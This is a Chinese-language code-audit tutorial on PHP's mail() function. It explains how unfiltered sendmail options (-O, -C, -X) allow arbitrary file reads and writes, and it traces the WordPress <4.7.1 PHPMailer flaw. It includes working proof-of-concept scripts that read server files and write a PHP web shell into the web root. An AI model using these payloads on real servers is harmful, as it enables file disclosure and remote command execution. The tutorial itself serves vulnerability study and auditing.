准备重新写一个关于php敏感函数的系列文章,通过这些知识点能尽快的认识到一些函数在默认参数情况下(或者说习惯做法)可能造成的风险,同时也能让我们在代码审计时能够较快的定位漏洞点,大大提高审计效率。每篇文章都会从函数使用方法介绍、漏洞分析两方面进行总结,最后应该还会跟着一些审计实例。文章比较基础,并且已经有很多类似文章,主要定位就是给代码审计新手作为学习资料的,毕竟自己也是小白,写不出太深奥的文章,出一个系列,也是为了方便查找资料,提高审计效率。
正文
这篇文章主要来介绍一下mail()函数在实际运用中可能出现的任意文件读取和任意命令执行的问题。
mail(to,subject,message,headers,parameters)
通过官方介绍,我们可以看出来mail函数一共有5个参数:
$to --规定邮件接受者(必需)
$subject -- 规定邮件的主题。该参数不能包含任何换行字符(必需)
$message -- 邮件要发送的信息(必需)
$headers -- 规定额外的报头,比如 From, Cc 以及 Bcc。(可选)
$parameters -- 规定 sendmail 程序的额外参数。(可选)
可以明确的看出来mail()函数的第五个参数是规定sendmail的额外参数,也就是说可以直接把参数内容传递给sendmail。虽然是可选的,但还是有很大一部分代码加带了这个参数。
看似没有任何毛病,但是问题就出在传递给sendmail时没有任何过滤,我们再来看一下sendmail有什么功能(功能有很多,我只选择了几个和漏洞有关系的功能):
-O option=valueSet option option to the specified value. This form uses long names. See below for more details.
-X logfileLog all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
-C fileUse alternate configuration file. sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
QueueDirectory=queuedirSelect the directory in which to queue messages.
根据官方介绍,sendmail的-O参数是设置一些缺省值。而在mail()相关漏洞中我们需要设置的是QueueDirectory这个值,他是用来存放mail中的消息队列的。-X参数是用来写入日志文件的,但是sendmail并没有限制日志的写入目录和日志格式,导致我们可以写入任意格式的“日志文件”到任意目录。-C参数用来加载一些配置文件,和-X一样,我们可以加载任意目录的任意格式的“配置文件”。
通过上面mail函数的使用方法和漏洞成因我们知道了,如果不限制第五个参数的内容,而直接传给sendmail的话,就有可能造成任意文件读取和任意文件写入的问题。
测试代码:
<?php
$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -C/var/www/html/phpinfo.php -X/var/www/html/1.txt';
mail($to, $subject, $message, $headers, $options);
?>
其中-O规定临时目录为/tmp -C加载phpinfo.php为配置文件 -X把日志文件写入/var/www/html/1.txt(因为是读取,所以我用的1.txt,当然可以是任意后缀) 就会导致任意文件读取,把phpinofo.php的内容作为配置文件加载,然后把文件内容写入日志文件1.txt中
测试代码:
<?php
$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
?>
直接把文件内容写入到rce.php中。即可完成我们的写shell工作。
wordpress在< 4.7.1的版本中,因为mail函数的原因,会导致远程代码执行漏洞。这里给大家来演示一下审计过程,我这里的审计还是从mail()函数出发,来说一下如何快速定位漏洞点。
在实际的审计中,我们知道了mail()函数会导致一定的风险,那么我们再审计的时候,可以全局搜索一下mail(),看看有没有函数造成风险的代码,在wordpress中,我们用法师的审计工具进行全局搜索mail
在第49行,我们看到mail函数中存在第五个参数,随机查看相关代码:
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode, calling mail() with null params breaks
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
可以看到第五个参数$params由mailPassthru传入,也就是说如果我们控制了这个参数就会导致相应的问题,我们继续网上追,来看一下我们能不能控制这个地方
只有一个地方调用了mailPassthru() ,查看相应代码:
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
可以看到$params = sprintf('-f%s', $this->Sender); 继续追$this->Sender
可以看到$this->Sender在setFrom()中由$adress获得,而$address是setFrom()的第一个参数,于是继续追setFrom()
查看代码:
if ( !isset( $from_name ) )
$from_name = 'WordPress';
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
...
$phpmailer->setFrom( $from_email, $from_name, false );
可以看出来setFrom的第一个参数$from_email由$from_email = 'wordpress@' . $sitename;获得,而$sitename由$_SERVER['SERVER_NAME']获得,在实际的利用中我们是可以控制SERVER_NAME的,也就是可以控制$sitename,从而能够控制mail()的第五个参数,从而造成漏洞的产生,当然要在wordpress中利用这个漏洞,还需要绕过一些过滤,这不是本文的重点。网上也有很多相应的绕过分析,大家可以去参考。
分析漏洞所用的wordpress版本已经在附件中打包。